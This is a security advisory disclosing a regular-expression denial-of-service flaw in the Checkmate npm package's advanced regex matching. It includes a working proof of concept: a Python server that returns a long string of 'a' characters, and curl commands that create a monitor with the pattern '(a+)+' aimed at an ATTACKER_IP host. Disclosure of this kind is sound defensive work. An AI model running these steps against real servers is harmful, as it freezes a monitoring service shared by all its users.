Skip to content

Regular Expression Denial of Service (ReDoS) via User-Controlled Regex in Monitor Advanced Matching

Moderate
ajhollid published GHSA-4c6j-p2cv-wf56 Jul 6, 2026

Package

npm checkmate (npm)

Affected versions

>= 3.5.1, <= 3.8.1

Patched versions

not yet patched

Description

Summary

An authenticated admin or superadmin can craft a monitor with a malicious regular expression in the expectedValue field (when matchMethod is "regex") that causes catastrophic backtracking when evaluated against the HTTP response body. Since the regex evaluation is synchronous on the Node.js main event loop with no timeout or worker thread isolation, a single malicious monitor can freeze the entire Checkmate server, making all API endpoints, monitor checks, and WebSocket connections unresponsive for all users.

Details

Root cause: The AdvancedMatcher class at server/src/service/infrastructure/network/AdvancedMatcher.ts line 15 constructs and evaluates a regular expression from user-supplied input with no validation of pattern complexity, length, or safety:

if (method === "regex") return new RegExp(expected).test(String(actual));

The expected parameter comes from the expectedValue field on the Monitor document (user-controlled via API). The actual parameter is the HTTP response body from the monitored URL (also attacker-controlled when URL points to attacker's server).

Taint path:

  1. Admin creates monitor via POST /api/v1/monitors/ with useAdvancedMatching: true, matchMethod: "regex", expectedValue: "(a+)+", and url pointing to attacker server
  2. Validation (monitorValidation.ts line 89) accepts expectedValue as z.string() with no max length or regex safety check
  3. Monitor stored in MongoDB and scheduled via in-process job queue (no worker threads)
  4. On each check cycle, QueueHelper.ts line 136 calls networkService.requestStatus(monitor)
  5. HttpProvider.ts line 83 calls advancedMatcher.validate(payload, monitor) where payload is the HTTP response body
  6. AdvancedMatcher.ts line 15 executes new RegExp("(a+)+").test(String(actual)) synchronously
  7. If attacker's server returns 30 'a' characters, catastrophic backtracking (~2^30 operations) blocks the entire Node.js process

No mitigations exist: No timeout on regex execution, no re2 or safe-regex library, no regex complexity validation, no worker_threads isolation, no max length on expectedValue.

Affected commit: ce4cb63

PoC

Prerequisites: Authenticated admin or superadmin account.

# Step 1: Set up attacker response server (returns 30 'a' characters)
python3 -c "from http.server import *; class H(BaseHTTPRequestHandler):
    def do_GET(self):
        self.send_response(200); self.send_header('Content-Type','text/plain'); self.end_headers()
        self.wfile.write(b'a'*30)
HTTPServer(('0.0.0.0',9999),H).serve_forever()" &

# Step 2: Login as admin
TOKEN=$(curl -s -X POST http://localhost:52345/api/v1/auth/login -H 'Content-Type: application/json' -d '{"email":"admin@example.com","password":"AdminPass1!"}' | jq -r '.data.token')

# Step 3: Create malicious monitor with ReDoS regex
curl -s -X POST http://localhost:52345/api/v1/monitors/ -H "Authorization: Bearer $TOKEN" -H 'Content-Type: application/json' -d '{"type":"http","name":"redos-payload","url":"http://ATTACKER_IP:9999/","interval":60000,"useAdvancedMatching":true,"matchMethod":"regex","expectedValue":"(a+)+"}'

# Step 4: Verify server is frozen (will timeout)
curl -m 5 http://localhost:52345/api/v1/health
# Expected: Connection timeout - server is frozen

Negative case: Same monitor without useAdvancedMatching — server stays responsive, confirming the regex evaluation is the cause.

Impact

This allows an admin to cause complete denial of service for all users:

  1. Complete server freeze: A single regex evaluation blocks the Node.js event loop indefinitely
  2. All monitor checks stop: Every monitor for every user stops receiving checks
  3. All users affected: All teams sharing the same server instance are impacted
  4. Persistent attack: Malicious regex is stored in DB and re-executed on every check cycle
  5. Hard to diagnose: Server process appears healthy (port open) but never responds

CVSS 3.1: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H
CWE: CWE-1333

Credits

  • Thai Son Dinh from VinSOC Labs (R&D)

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
High
User interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
None
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H

CVE ID

CVE-2026-70656

Weaknesses

Inefficient Regular Expression Complexity

The product uses a regular expression with an inefficient, possibly exponential worst-case computational complexity that consumes excessive CPU cycles. Learn more on MITRE.

Credits